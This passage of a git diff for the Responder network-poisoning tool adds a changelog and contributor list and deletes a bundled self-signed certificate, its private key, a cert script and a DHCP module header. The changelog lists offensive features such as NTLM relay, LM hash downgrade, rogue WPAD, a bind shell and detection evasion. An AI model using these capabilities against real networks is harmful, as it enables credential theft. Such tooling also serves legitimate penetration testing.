+- Fix values for win98 and win10 (requested here: https://github.com/lgandx/Responder/pull/7/commits/d9d34f04cddbd666865089d809eb5b3d46dd9cd4) ([60c91c6](https://github.com/lgandx/Responder/commit/60c91c662607c3991cb760c7dd221e81cfb69518) by lgandx).
+- Fixed the bind to interface issue (https://github.com/lgandx/Responder/issues/6) ([ce211f7](https://github.com/lgandx/Responder/commit/ce211f7fcfa7ea9e3431161fec5075ca63730070) by lgandx).
+- fixed bug in hash parsing. ([0cf1087](https://github.com/lgandx/Responder/commit/0cf1087010088ef1c3fecc7d2ad851c7c49d0639) by lgandx).
+
+### Changed
+
+- Changed to executable ([3e46ecd](https://github.com/lgandx/Responder/commit/3e46ecd27e53c58c3dc38888a2db1d3340a5a3ab) by lgandx).
+
+## [v2.3.2.8](https://github.com/lgandx/Responder/releases/tag/v2.3.2.8) - 2016-10-06
+
+[Compare with v2.3.2.7](https://github.com/lgandx/Responder/compare/v2.3.2.7...v2.3.2.8)
+
+### Added
+
+- Added: Now delete services on the fly. ([c6e401c](https://github.com/lgandx/Responder/commit/c6e401c2290fbb6c68bbc396915ea3fa7b11b5f0) by lgandx).
+
+## [v2.3.2.7](https://github.com/lgandx/Responder/releases/tag/v2.3.2.7) - 2016-10-05
+
+[Compare with v2.3.2.6](https://github.com/lgandx/Responder/compare/v2.3.2.6...v2.3.2.7)
+
+### Added
+
+- Added: Possibility to target all users. use 'ALL' with -u ([d81ef9c](https://github.com/lgandx/Responder/commit/d81ef9c33ab710f973c68f60cd0b7960f9e4841b) by lgandx).
+
+### Fixed
+
+- Fixed minor bug ([7054c60](https://github.com/lgandx/Responder/commit/7054c60f38cafc7e1c4d8a6ce39e12afbfc8b482) by lgandx).
+
+## [v2.3.2.6](https://github.com/lgandx/Responder/releases/tag/v2.3.2.6) - 2016-10-05
+
+[Compare with v2.3.2.5](https://github.com/lgandx/Responder/compare/v2.3.2.5...v2.3.2.6)
+
+## [v2.3.2.5](https://github.com/lgandx/Responder/releases/tag/v2.3.2.5) - 2016-10-03
+
+[Compare with v2.3.2.4](https://github.com/lgandx/Responder/compare/v2.3.2.4...v2.3.2.5)
+
+### Added
+
+- Added logs folder. ([cd09e19](https://github.com/lgandx/Responder/commit/cd09e19a9363867a75d7db1dea4830969bc0d68e) by lgandx).
+- Added: Cross-protocol NTLMv1-2 relay (beta). ([ab67070](https://github.com/lgandx/Responder/commit/ab67070a2b82e94f2abb506a69f8fa8c0dc09852) by lgandx).
+
+### Removed
+
+- Removed logs folder. ([5d83778](https://github.com/lgandx/Responder/commit/5d83778ac7caba920874dc49f7523c6ef80b6d7b) by lgandx).
+
+## [v2.3.2.4](https://github.com/lgandx/Responder/releases/tag/v2.3.2.4) - 2016-09-12
+
+[Compare with v2.3.2.3](https://github.com/lgandx/Responder/compare/v2.3.2.3...v2.3.2.4)
+
+## [v2.3.2.3](https://github.com/lgandx/Responder/releases/tag/v2.3.2.3) - 2016-09-12
+
+[Compare with v2.3.2.2](https://github.com/lgandx/Responder/compare/v2.3.2.2...v2.3.2.3)
+
+### Added
+
+- Added new option in Responder.conf. Capture multiple hashes from the same client. Default is On. ([35d933d](https://github.com/lgandx/Responder/commit/35d933d5964df607ec714ced93e4cb197ff2bfe7) by lgandx).
+
+## [v2.3.2.2](https://github.com/lgandx/Responder/releases/tag/v2.3.2.2) - 2016-09-12
+
+[Compare with v2.3.2.1](https://github.com/lgandx/Responder/compare/v2.3.2.1...v2.3.2.2)
+
+### Added
+
+- Added support for webdav, auto credz. ([ad9ce6e](https://github.com/lgandx/Responder/commit/ad9ce6e659ffd9dd31714260f906c8de02223398) by lgandx).
+- Added option -e, specify an external IP address to redirect poisoned traffic to. ([04c270f](https://github.com/lgandx/Responder/commit/04c270f6b75cd8eb833cca3b71965450d925e6ac) by lgandx).
+
+### Removed
+
+- removed debug info ([3e2e375](https://github.com/lgandx/Responder/commit/3e2e375987ce2ae03e6a88ffadabb13823ba859c) by lgandx).
+
+## [v2.3.2.1](https://github.com/lgandx/Responder/releases/tag/v2.3.2.1) - 2016-09-11
+
+[Compare with v2.3.2](https://github.com/lgandx/Responder/compare/v2.3.2...v2.3.2.1)
+
+## [v2.3.2](https://github.com/lgandx/Responder/releases/tag/v2.3.2) - 2016-09-11
+
+[Compare with v2.3.1](https://github.com/lgandx/Responder/compare/v2.3.1...v2.3.2)
+
+### Added
+
+- Added proxy auth server + various fixes and improvements ([82fe64d](https://github.com/lgandx/Responder/commit/82fe64dfd988321cbc1a8cb3d8f01caa38f4193e) by lgandx).
+- Added current date for all HTTP headers, avoiding easy detection ([ecd62c3](https://github.com/lgandx/Responder/commit/ecd62c322f48eadb235312ebb1e57375600ef0f1) by lgandx).
+
+### Removed
+
+- Removed useless HTTP headers ([881dae5](https://github.com/lgandx/Responder/commit/881dae59cf3c95047d82b34208f57f94b3e85b04) by lgandx).
+
+## [v2.3.1](https://github.com/lgandx/Responder/releases/tag/v2.3.1) - 2016-09-09
+
+[Compare with v2.3.0](https://github.com/lgandx/Responder/compare/v2.3.0...v2.3.1)
+
+### Added
+
+- Added SMBv2 support enabled by default. ([85d7974](https://github.com/lgandx/Responder/commit/85d7974513a9b6378ed4c0c07a7dd640c27ead9b) by lgandx).
+- added new option, for Config-Responder.log file. ([a9c2b29](https://github.com/lgandx/Responder/commit/a9c2b297c6027030e3f83c7626fff6f66d5a4f1b) by lgaffie).
+- Add compatability with newer net-tools ifconfig. ([e19e349](https://github.com/lgandx/Responder/commit/e19e34997e68a2f567d04d0c013b7870530b7bfd) by Hank Leininger).
+- Add HTTP Referer logging ([16e6464](https://github.com/lgandx/Responder/commit/16e6464748d3497943a9d96848ead9058dc0f7e9) by Hubert Seiwert).
+- Added recent Windows versions. ([6eca29d](https://github.com/lgandx/Responder/commit/6eca29d08cdd0d259760667da0c41e76d2cd2693) by Jim Shaver).
+- Added: Support for OSx ([59e48e8](https://github.com/lgandx/Responder/commit/59e48e80dd6153f83899413c2fc71a46367d4abf) by lgandx).
+
+### Fixed
+
+- Fixed colors in log files ([d9258e2](https://github.com/lgandx/Responder/commit/d9258e2dd80ab1d62767377250c76bf5c9f2a50d) by lgaffie).
+- Fixed the regexes for Authorization: headers. ([a81a9a3](https://github.com/lgandx/Responder/commit/a81a9a31e4dbef2890fbf51830b6a9374d6a8f8a) by Hank Leininger).
+- Fix Windows 10 support. ([a84b351](https://github.com/lgandx/Responder/commit/a84b3513e1fdd47025ceaa743ce0f506f162640b) by ValdikSS).
+- Fixed color bug in Analyze mode ([04c841d](https://github.com/lgandx/Responder/commit/04c841d34e0d32970f08ae91ad0f931b1b90d6ab) by lgandx).
+- fixed minor bug ([6f8652c](https://github.com/lgandx/Responder/commit/6f8652c0fccfe83078254d7b38cb9fd517a6bf42) by lgandx).
+- Fixed Icmp-Redirect.. ([df63c1f](https://github.com/lgandx/Responder/commit/df63c1fc138d1682a86bc2114a5352ae897865c6) by lgandx).
+- Fixed some tools and +x on some executables ([8171a96](https://github.com/lgandx/Responder/commit/8171a96b9eaac3cd25ef18e8ec8b303c5877f4d0) by lgandx).
+- Fix generation of HTTP response in HTTP proxy ([b2830e0](https://github.com/lgandx/Responder/commit/b2830e0a4f46f62db4d34b3e8f93ea505be32000) by Antonio Herraiz).
+- Fix misspelling of poisoners ([6edc01d](https://github.com/lgandx/Responder/commit/6edc01d8511189489e4b5fd9873f25712920565c) by IMcPwn).
+
+### Changed
+
+- change IsOSX to utils.IsOsX. Fixes #89 ([08c3a90](https://github.com/lgandx/Responder/commit/08c3a90b400d0aff307dd43ff4cd6f01ca71a6cb) by Jared Haight).
+- Changed email address ([f5a8bf0](https://github.com/lgandx/Responder/commit/f5a8bf0650bc088b6ef5ae7432f2baef0d52852c) by lgandx).
+- Changed connection to SQlite db to support different encoded charsets ([0fec40c](https://github.com/lgandx/Responder/commit/0fec40c3b4c621ee21a88906e77c6ea7a56cb8a9) by Yannick Méheut).
+- Changed comment to be more clear about what is being done when logging ([08535e5](https://github.com/lgandx/Responder/commit/08535e55391d762be4259a1fada330ef3f0ac134) by Yannick Méheut).
+
+### Removed
+
+- Removed the config dump in Responder-Session.log. New file gets created in logs, with host network config such as dns, routes, ifconfig and config dump ([a765a8f](https://github.com/lgandx/Responder/commit/a765a8f0949de37940364d0a228aff72c0701aa0) by lgaffie).
+
+## [v2.3.0](https://github.com/lgandx/Responder/releases/tag/v2.3.0) - 2015-09-11
+
+[Compare with v2.1.4](https://github.com/lgandx/Responder/compare/v2.1.4...v2.3.0)
+
+### Added
+
+- Added support for Samba4 clients ([ee033e0](https://github.com/lgandx/Responder/commit/ee033e0c7f28a0584c8ebcb2c31fe949581f0022) by lgandx).
+- Added support for upstream proxies for the rogue WPAD server ([f4bd612](https://github.com/lgandx/Responder/commit/f4bd612e083698fd94308fd2fd15ba7d8d289fd8) by jrmdev).
+
+### Fixed
+
+- Fixed Harsh Parser variable typo ([5ab431a](https://github.com/lgandx/Responder/commit/5ab431a4fe24a2ba4666b9c51ad59a0bb8a0053d) by lgandx).
+- fixed var name ([62ed8f0](https://github.com/lgandx/Responder/commit/62ed8f00626a2ad0fbbfb845e808d77938f4513a) by byt3bl33d3r).
+- Fixes MDNS Name parsing error ([3261288](https://github.com/lgandx/Responder/commit/3261288c82fee415dd8e1ba64b80596ef97da490) by byt3bl33d3r).
+- Fixed FTP module. ([75664a4](https://github.com/lgandx/Responder/commit/75664a4f37feb897be52480223cd1633d322ede8) by jrmdev).
+- Fixing a bug in HTTP proxy, was calling recv() too many times ([ddaa9f8](https://github.com/lgandx/Responder/commit/ddaa9f87674dc8ac3f9104196f2f92cdec130682) by lanjelot).
+
+### Changed
+
+- changed operand ([cb9c2c8](https://github.com/lgandx/Responder/commit/cb9c2c8b97761cc5e00051efd74c9c3fdaf5762d) by byt3bl33d3r).
+
+## [v2.1.4](https://github.com/lgandx/Responder/releases/tag/v2.1.4) - 2014-12-06
+
+[Compare with v2.1.3](https://github.com/lgandx/Responder/compare/v2.1.3...v2.1.4)
+
+### Added
+
+- Added: FindSMB2UPTime script. Find when is the last time a >= 2008 server was updated. ([7a95ef1](https://github.com/lgandx/Responder/commit/7a95ef1474d3cea88680f359581aa89a4e9c30f5) by lgandx).
+
+## [v2.1.3](https://github.com/lgandx/Responder/releases/tag/v2.1.3) - 2014-11-27
+
+[Compare with v2.1.2](https://github.com/lgandx/Responder/compare/v2.1.2...v2.1.3)
+
+### Added
+
+- Added: DontRespondToName and DontRespondTo; NAC/IPS detection evasion ([36ef78f](https://github.com/lgandx/Responder/commit/36ef78f85aea5db33f37a6d1d73bf3bb7f82336f) by lgandx).
+- Added --version and kost's fix for /etc/resolv.conf empty lines parsing. ([c05bdfc](https://github.com/lgandx/Responder/commit/c05bdfce17234b216b408080d9aba5db443de507) by lgandx).
+
+## [v2.1.2](https://github.com/lgandx/Responder/releases/tag/v2.1.2) - 2014-08-26
+
+[Compare with v2.1.0](https://github.com/lgandx/Responder/compare/v2.1.0...v2.1.2)
+
+### Added
+
+- Added: Log command line in Responder-Session.log. ([f69e93c](https://github.com/lgandx/Responder/commit/f69e93c02e81a83309d3863f6d5680b36378a16b) by lgandx).
+
+### Fixed
+
+- Fixed serve-always and serve-exe with the new WPAD server. ([cf7b477](https://github.com/lgandx/Responder/commit/cf7b4771caf335a1a283fae08923c413acae3343) by lgandx).
+
+## [v2.1.0](https://github.com/lgandx/Responder/releases/tag/v2.1.0) - 2014-08-16
+
+[Compare with v2.0.9](https://github.com/lgandx/Responder/compare/v2.0.9...v2.1.0)
+
+### Fixed
+
+- fixed: identation. ([5c9fec9](https://github.com/lgandx/Responder/commit/5c9fec923c8cb77f00466db6192b1ecb8980bdcf) by lgandx).
+
+## [v2.0.9](https://github.com/lgandx/Responder/releases/tag/v2.0.9) - 2014-05-28
+
+[Compare with v2.0.8](https://github.com/lgandx/Responder/compare/v2.0.8...v2.0.9)
+
+### Fixed
+
+- Fixed high cpu usage in some specific cases ([4558861](https://github.com/lgandx/Responder/commit/4558861ce2dd56c0e4c5157437c8726a26e382c5) by lgandx).
+
+### Removed
+
+- Removed: old style options. Just use -r instead of -r On ([a21aaf7](https://github.com/lgandx/Responder/commit/a21aaf7987e26eee5455d68cd76ff56b5466b7f2) by lgandx).
+
+## [v2.0.8](https://github.com/lgandx/Responder/releases/tag/v2.0.8) - 2014-04-22
+
+[Compare with v2.0.7](https://github.com/lgandx/Responder/compare/v2.0.7...v2.0.8)
+
+### Added
+
+- Added: in-scope target, windows >= Vista support (-R) and unicast answers only. ([2e4ed61](https://github.com/lgandx/Responder/commit/2e4ed61bba2df61a1e1165b466a369639c425955) by lgandx).
+
+## [v2.0.7](https://github.com/lgandx/Responder/releases/tag/v2.0.7) - 2014-04-16
+
+[Compare with v2.0.6](https://github.com/lgandx/Responder/compare/v2.0.6...v2.0.7)
+
+### Added
+
+- Added: in-scope llmnr/nbt-ns name option ([1c79bed](https://github.com/lgandx/Responder/commit/1c79bedac9083992ba019ff7134cdb3c718a6f15) by lgandx).
+- Added: Kerberos server and -d cli option. ([dcede0f](https://github.com/lgandx/Responder/commit/dcede0fdf5e060e77fc51fbad2da3dbbff8edf8d) by lgandx).
+
+## [v2.0.6](https://github.com/lgandx/Responder/releases/tag/v2.0.6) - 2014-04-01
+
+[Compare with v2.0.5](https://github.com/lgandx/Responder/compare/v2.0.5...v2.0.6)
+
+### Fixed
+
+- Fixed [Enter] key issue ([c97a13c](https://github.com/lgandx/Responder/commit/c97a13c1bdb79b4dcdf43f889fdd586c3c39b893) by lgandx).
+
+## [v2.0.5](https://github.com/lgandx/Responder/releases/tag/v2.0.5) - 2014-03-22
+
+[Compare with v2.0.4](https://github.com/lgandx/Responder/compare/v2.0.4...v2.0.5)
+
+### Added
+
+- Added: In-scope IP handling for MDNS ([b14ff0b](https://github.com/lgandx/Responder/commit/b14ff0b36a100736f293ddbd8bbe1c538a370347) by lgandx).
+
+## [v2.0.4](https://github.com/lgandx/Responder/releases/tag/v2.0.4) - 2014-03-22
+
+[Compare with v2.0.3](https://github.com/lgandx/Responder/compare/v2.0.3...v2.0.4)
+
+### Added
+
+- Added: MDNS Poisoner ([90479ad](https://github.com/lgandx/Responder/commit/90479adcca066602885ea2bfec32953ce71d6977) by lgandx).
+
+## [v2.0.3](https://github.com/lgandx/Responder/releases/tag/v2.0.3) - 2014-03-21
+
+[Compare with v2.0.2](https://github.com/lgandx/Responder/compare/v2.0.2...v2.0.3)
+
+### Fixed
+
+- fix: Bind to interface bug. ([a1a4f46](https://github.com/lgandx/Responder/commit/a1a4f46c7ba8861ff71c1ea2045a72acf2c829bd) by lgandx).
+
+## [v2.0.2](https://github.com/lgandx/Responder/releases/tag/v2.0.2) - 2014-02-06
+
+[Compare with v2.0.1](https://github.com/lgandx/Responder/compare/v2.0.1...v2.0.2)
+
+### Added
+
+- Added: Analyze mode; Lanman Domain/SQL/Workstation passive discovery. ([2c9273e](https://github.com/lgandx/Responder/commit/2c9273eb2ca8d5080ff81273f602547fe649c259) by lgandx).
+
+## [v2.0.1](https://github.com/lgandx/Responder/releases/tag/v2.0.1) - 2014-01-30
+
+[Compare with first commit](https://github.com/lgandx/Responder/compare/e821133708098c74497a3f9b0387a3ad048d5a48...v2.0.1)
+
+### Added
+
+- Added: Analyze ICMP Redirect plausibility on current subnet. ([06df704](https://github.com/lgandx/Responder/commit/06df704960c556e3c2261a52827d55eb7b4ed0d4) by lgandx).
+- Added: Analyze stealth mode. See all traffic, but dont answer (-A cli). Minor bugs also fixed. ([9bb2f81](https://github.com/lgandx/Responder/commit/9bb2f81044cd94f36f54c8daf7f1183bc761bb24) by lgandx).
+- Added: -F command line switch to force authentication on PAC file retrieval. Default is Off ([3f48c11](https://github.com/lgandx/Responder/commit/3f48c114d5e713bfe68bef1717e18d3c266f358e) by lgandx).
+- Added: IMAP module and enhanced wpad. ([af60de9](https://github.com/lgandx/Responder/commit/af60de95679f20eca4765b1450f80c48fbef689c) by lgandx).
+- Added: SMTP PLAIN/LOGIN module ([6828f1b](https://github.com/lgandx/Responder/commit/6828f1b11ebfc0fc25a8fd00e8f373f3adfb7fc6) by lgandx).
+- Added: POP3 module. ([f48ea3f](https://github.com/lgandx/Responder/commit/f48ea3f4b644c3eb25c63d402c6d30fcd29be529) by lgandx).
+- Added: MSSQL Plaintext module ([4c3a494](https://github.com/lgandx/Responder/commit/4c3a494c86b7a95cf2c43a71bac182f231bf71cb) by lgandx).
+- Added: SMBRelay module ([4dd9d8c](https://github.com/lgandx/Responder/commit/4dd9d8c1df3717ed928e73083c30e21aa5eaf8b4) by lgandx).
+- added: Command switch -v for verbose mode. Responder is now less verbose. ([46b98a6](https://github.com/lgandx/Responder/commit/46b98a616d540ae618198784d0775e687371858e) by lgandx).
+- Added support for .pac file requests. ([6b7e5b6](https://github.com/lgandx/Responder/commit/6b7e5b6441c7fdf19a163b8efb6fd588ccfee8ae) by lgandx).
+- Added: print HTTP URL, POST data requested prior auth ([f616718](https://github.com/lgandx/Responder/commit/f6167183e046d2759ab6b885dd2f94bb2902c564) by lgandx).
+- Added command switch -I. This option override Responder.conf Bind_to setting ([68de4ac](https://github.com/lgandx/Responder/commit/68de4ac26ec34bbf24524abb0c0b11ae34aa27a3) by lgandx).
+- Added: in-scope only target. See Responder.conf. ([0465bd6](https://github.com/lgandx/Responder/commit/0465bd604d7cc22ef2c97f938d8564677030e5bd) by lgandx).
+- Added: Fake access denied html page ([9b608aa](https://github.com/lgandx/Responder/commit/9b608aad30529e2bfea4d7c6e99343df0ba2d9d0) by lgandx).
+- Added: Configuration file, removed several cli options and several fixes. ([95eed09](https://github.com/lgandx/Responder/commit/95eed099424568d4c67402f12a5de5d9d72c3041) by lgandx).
+- Added: Configuration file for Responder ([d573102](https://github.com/lgandx/Responder/commit/d57310273df524b99d17c97b49ee35eb3aec7b52) by lgandx).
+- Added: Bind shell listening on port 140, use it with -e or -exe option if needed ([1079de0](https://github.com/lgandx/Responder/commit/1079de052b7cc7c6caeb80e6ee081568ff359317) by Lgandx).
+- Added: Ability to serve whatever kind of file via HTTP and WPAD There's now 3 new options. ([a8c2952](https://github.com/lgandx/Responder/commit/a8c29522db3555f7733a80d29271b3229e1149c6) by Lgandx).
+- added -I option to bind all sockets to a specific ip (eg: listen only on eth0) ([d5088b2](https://github.com/lgandx/Responder/commit/d5088b24ee3d8bead640b37480be57fe564e70b5) by Lgandx).
+- added: HTTP auth forward to SMB. This is useful for SMB Relay or LM downgrade from HTTP NTLM ESS to SMB LM. ([0fcaa68](https://github.com/lgandx/Responder/commit/0fcaa68c074e496edb2164ca35659ff636b5a361) by Lgandx).
+- added automatic poisoning mode when a primary and a secondary DNS is specified. ([ccbbbe3](https://github.com/lgandx/Responder/commit/ccbbbe34535c12b664a39f5a99f98c1da79ca5a6) by Lgandx).
+- Added HTTPS module. ([9250281](https://github.com/lgandx/Responder/commit/92502814aa3becdd064f0bfb160af826adb42f60) by Lgandx).
+- Added support for LM hash downgrade. Default still NTLMSSP. ([09f8f72](https://github.com/lgandx/Responder/commit/09f8f7230d66cb35e1e6bed9fb2c9133ad5cc415) by Lgandx).
+- Added: Client ip is now part of the cookie filename ([2718f9c](https://github.com/lgandx/Responder/commit/2718f9c51310e18e91d6d90c86657bdd72889f2a) by Lgandx).
+- Added a folder for storing HTTP cookies files ([d1a14e2](https://github.com/lgandx/Responder/commit/d1a14e2f27d856ca1551232502835d6cddb3602d) by Lgandx).
+- Added WPAD transparent proxy ([9f1c3bc](https://github.com/lgandx/Responder/commit/9f1c3bcba32c6feb008a39ece688522dcd9e757f) by Lgandx).
+
+### Fixed
+
+- Fixed WPAD cookie capture ([afe2b63](https://github.com/lgandx/Responder/commit/afe2b63c6a556a6da97e7ac89c96f89276d521c3) by lgandx).
+- Fix: Command line switch typo ([4fb4233](https://github.com/lgandx/Responder/commit/4fb4233424273849085781225298de39b6c9c098) by lgandx).
+- Fixed minor bugs ([f8a16e2](https://github.com/lgandx/Responder/commit/f8a16e28ee15a3af91542269e5b1ec9c69ea3d75) by Lgandx).
+- Fixed duplicate entry in hash file for machine accounts ([4112b1c](https://github.com/lgandx/Responder/commit/4112b1cd5d06f021dcc145f32d29b53d4cb8d82a) by Lgandx).
+- fix for anonymous NTLM connection for LDAP server ([1c47e7f](https://github.com/lgandx/Responder/commit/1c47e7fcb112d0efdb509e56a1b08d557eb9f375) by Lgandx).
+
+### Changed
+
+- Changed WPAD to Off by default. Use command line -w On to enable. ([bf2fdf0](https://github.com/lgandx/Responder/commit/bf2fdf083cdadf81747f87eb138a474911928b77) by lgandx).
+- changed .txt to no extension. ([5f7bfa8](https://github.com/lgandx/Responder/commit/5f7bfa8cbe75d0c7fd24c8a83c44a5c3b02717a4) by lgandx).
+- Changed Windows =< 5.2 documentation to XP/2003 and earlier for clarification ([56dd7b8](https://github.com/lgandx/Responder/commit/56dd7b828cf85b88073e88a8b4409f7dae791d49) by Garret Picchioni).
+
+### Removed
+
+- Removed bind to interface support for OsX. Responder for OsX can only listen on all interfaces. ([dbfdc27](https://github.com/lgandx/Responder/commit/dbfdc2783156cfeede5114735ae018a925b3fa78) by lgandx).
+
diff --git a/Certs/gen-self-signed-cert.sh b/Certs/gen-self-signed-cert.sh
deleted file mode 100755
index e9f3c73..0000000
--- a/Certs/gen-self-signed-cert.sh
+++ /dev/null
@@ -1,2 +0,0 @@
-#!/bin/bash
-openssl genrsa -des3 -out responder.tmp.key 2048&&openssl rsa -in responder.tmp.key -out responder.key&&openssl req -new -key responder.key -out responder.csr&&openssl x509 -req -days 365 -in responder.csr -signkey responder.key -out responder.crt&&rm responder.tmp.key responder.csr
diff --git a/Certs/responder.crt b/Certs/responder.crt
deleted file mode 100644
index ac239e8..0000000
--- a/Certs/responder.crt
+++ /dev/null
@@ -1,19 +0,0 @@
------BEGIN CERTIFICATE-----
-MIIDBjCCAe4CCQDDe8Sb2PGjITANBgkqhkiG9w0BAQUFADBFMQswCQYDVQQGEwJB
-VTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwYSW50ZXJuZXQgV2lkZ2l0
-cyBQdHkgTHRkMB4XDTEzMDIyODIwMTcxN1oXDTE0MDIyODIwMTcxN1owRTELMAkG
-A1UEBhMCQVUxEzARBgNVBAgMClNvbWUtU3RhdGUxITAfBgNVBAoMGEludGVybmV0
-IFdpZGdpdHMgUHR5IEx0ZDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
-AMQB5yErm0Sg7sRQbLgbi/hG/8uF2xUzvVKnT4LROEWkkimy9umb2JbvAZITDvSs
-r2xsPA4VoxFjKpWLOv7mAIMBR95NDWsTLuR36Sho/U2LlTlUBdSfQP7rlKQZ0L43
-YpXswdvCCJ0wP2yOhq0i71cg/Nk9mfQxftpgGUxoa+6ljU9hSdmThu2FVgAbSpNl
-D86rk4K9/sGYAY4btMqaMzC7JIKZp07FHL32oM01cKbRoNg2eUuQmoVjca1pkmbO
-Y8qnl7ajOjsiAPQnt/2TMJlRsdoU1fSx76Grgkm8D4gX/pBUqELdpvHtnm/9imPl
-qNGL5LaW8ARgG16U0mRhutkCAwEAATANBgkqhkiG9w0BAQUFAAOCAQEAS7u4LWc9
-wDPThD0o58Ti2GgIs+mMRx5hPaxWHJNCu+lwFqjvWmsNFfHoSzlIkIUjtlV2G/wE
-FxDSPlc/V+r7U2UiE7WSqQiWdmfOYS2m03x4SN0Vzf/n9DeApyPo2GsXGrha20eN
-s390Xwj6yKFdprUPJ8ezlEVRrAMv7tu1cOLzqmkocYKnPgXDdQxiiGisp7/hEUCQ
-B7HvNCMPbOi+M7O/CXbfgnTD029KkyiR2LEtj4QC5Ytp/pj0UyyoIeCK57CTB3Jt
-X3CZ+DiphTpOca4iENH55m6atk+WHYwg3ClYiONQDdIgKVT3BK0ITjyFWZeTneVu
-1eVgF/UkX9fqJg==
------END CERTIFICATE-----
diff --git a/Certs/responder.key b/Certs/responder.key
deleted file mode 100644
index 2b7cbc0..0000000
--- a/Certs/responder.key
+++ /dev/null
@@ -1,27 +0,0 @@
------BEGIN RSA PRIVATE KEY-----
-MIIEowIBAAKCAQEAxAHnISubRKDuxFBsuBuL+Eb/y4XbFTO9UqdPgtE4RaSSKbL2
-6ZvYlu8BkhMO9KyvbGw8DhWjEWMqlYs6/uYAgwFH3k0NaxMu5HfpKGj9TYuVOVQF
-1J9A/uuUpBnQvjdilezB28IInTA/bI6GrSLvVyD82T2Z9DF+2mAZTGhr7qWNT2FJ
-2ZOG7YVWABtKk2UPzquTgr3+wZgBjhu0ypozMLskgpmnTsUcvfagzTVwptGg2DZ5
-S5CahWNxrWmSZs5jyqeXtqM6OyIA9Ce3/ZMwmVGx2hTV9LHvoauCSbwPiBf+kFSo
-Qt2m8e2eb/2KY+Wo0YvktpbwBGAbXpTSZGG62QIDAQABAoIBABbuLg74XgLKXQSE
-cCOdvWM/Ux+JOlchpW1s+2VPeqjTFvJf6Hjt7YnCzkk7h41iQmeJxgDT0S7wjgPO
-tQkq+TZaSQEdvIshRGQgDxvWJIQU51E8ni4Ar4bjIpGMH5qROixV9VvzODTDdzgI
-+IJ6ystDpbD4fvFNdQyxH2SL9syFRyWyxY3vWB0C/OHWxGFtiTtmeivBSmpxl0RY
-RQqPLxX+xUCie7U6ud3e37FO7cKt+YT8lWKhGHKJlTlJbHs1d8crzp6qKJLl+ibB
-0fB6D6E5M1fnIJFJULIYAG5bEak90KuKOKCLoKLG+rq0vUvJsb9vNCAA6rh1ra+n
-8woY8TECgYEA7CEE/3oWnziB3PZoIIJDgbBalCCbA+/SgDiSvYJELEApCMj8HYc5
-UGOxrfVhPmbHRUI982Fj1oM3QBEX0zpkOk7Xk224RXwBHG8MMPQmTMVp+o06AI6D
-Nggyam9v5KLNMj5KghKJSOD0tR5YxsZPXw4gAI+wpqu3bXGKZ8bRpvUCgYEA1ICJ
-H+kw6H8edJHGdNH+X6RR0DIbS11XQvbKQ3vh6LdHTofoHqQa3t0zGYCgksKJbtHV
-2h3pv+nuOu5FEP2rrGJIforv2zwfJ5vp65jePrSXU+Up4pMHbP1Rm91ApcKNA15U
-q3SaclqTjmiqvaeSKc4TDjdb/rUaIhyIgbg97dUCgYAcdq5/jVwEvW8KD7nlkU5J
-59RDXtrQ0qvxQOCPb5CANQu9P10EwjQqeJoGejnKp+EFfEKzf93lEdQrKORSVguW
-68IYx3UbCyOnJcu2avfi8TkhNrzzLDqs3LgXFG/Mg8NwdwnMPCfIXTWiT5IsA+O1
-daJt7uRAcxqdWr5wXAsRsQKBgFXU4Q4hm16dUcjVxKoU08D/1wfX5UxolEF4+zOM
-yy+7L7MZk/kkYbIY+HXZjYIZz3cSjGVAZdTdgRsOeJknTPsg65UpOz57Jz5RbId7
-xHDhcqoxSty4dGxiWV8yW9VYIqr0pBBo1aVQzn7b6fMWxyPZl7rLQ3462iZjDgQP
-TfxNAoGBAK/Gef6MgchbFPikOVEX9qB/wt4sS3V7mT6QkqMZZgSkegDLBFVRJX3w
-Emx/V2A14p0uHPzn5irURyJ6daZCN4amPAWYQnkiXG8saiBwtfs23A1q7kxnPR+b
-KJfb+nDlhU1iYa/7nf4PaR/i9l6gcwOeh1ThK1nq4VvwTaTZKSRh
------END RSA PRIVATE KEY-----
diff --git a/Contributors b/Contributors
new file mode 100644
index 0000000..13dbafd
--- /dev/null
+++ b/Contributors
@@ -0,0 +1,76 @@
+Commits | user
+15 @jrmdev
+7 @nobbd
+6 @ValdikSS
+6 @also-here
+5 @HexPandaa
+5 @exploide
+5 @jvoisin
+4 @Clément Notin
+4 @Shutdown
+4 @Yannick Méheut
+3 @Hank Leininger
+3 @brightio
+3 @byt3bl33d3r
+3 @myst404
+3 @skelsec
+2 @Alexandre ZANNI
+2 @Crypt0-M3lon
+2 @Laban Sköllermark
+2 @Matthew Daley
+2 @Pixis
+2 @Rob Fuller
+2 @ThePirateWhoSmellsOfSunflowers
+2 @Vincent Yiu
+2 @requin
+1 @Andrii Nechytailov
+1 @Antonio Herraiz
+1 @Chris Maddalena
+1 @Euan
+1 @Garret Picchioni
+1 @Gifts
+1 @Gustaf Blomqvist
+1 @Hubert Seiwert
+1 @IMcPwn
+1 @Jared Haight
+1 @Jim Shaver
+1 @Khiem Doan
+1 @Leon Jacobs
+1 @Lionel PRAT
+1 @Markus
+1 @MatToufoutu
+1 @Matt
+1 @Matt Andreko
+1 @Matt Kelly
+1 @Nikos Vassakis
+1 @OJ
+1 @Paul A
+1 @Randy Ramos
+1 @SAERXCIT
+1 @Sagar-Jangam
+1 @Sans23
+1 @Sophie Brun
+1 @Stephen Shkardoon
+1 @Syntricks
+1 @Timon Hackenjos
+1 @Tom Aviv
+1 @Ziga P
+1 @cweedon
+1 @deltronzero
+1 @f3rn0s
+1 @jackassplus
+1 @jb
+1 @kevintellier
+1 @kitchung
+1 @klemou
+1 @lanjelot
+1 @nickyb
+1 @nodauf
+1 @nop5L3D
+1 @pixis
+1 @ravenium
+1 @soa
+1 @steven
+1 @thejosko
+1 @trustedsec
+
diff --git a/DHCP.py b/DHCP.py
deleted file mode 100755
index 6b36e01..0000000
--- a/DHCP.py
+++ /dev/null
@@ -1,325 +0,0 @@
-#! /usr/bin/env python
-# This utility is part of NBT-NS/LLMNR Responder
-# Created by Laurent Gaffie
-# Copyright (C) 2014 Trustwave Holdings, Inc.
-#
-# This program is free software: you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation, either version 3 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-# GNU General Public License for more details.
-#
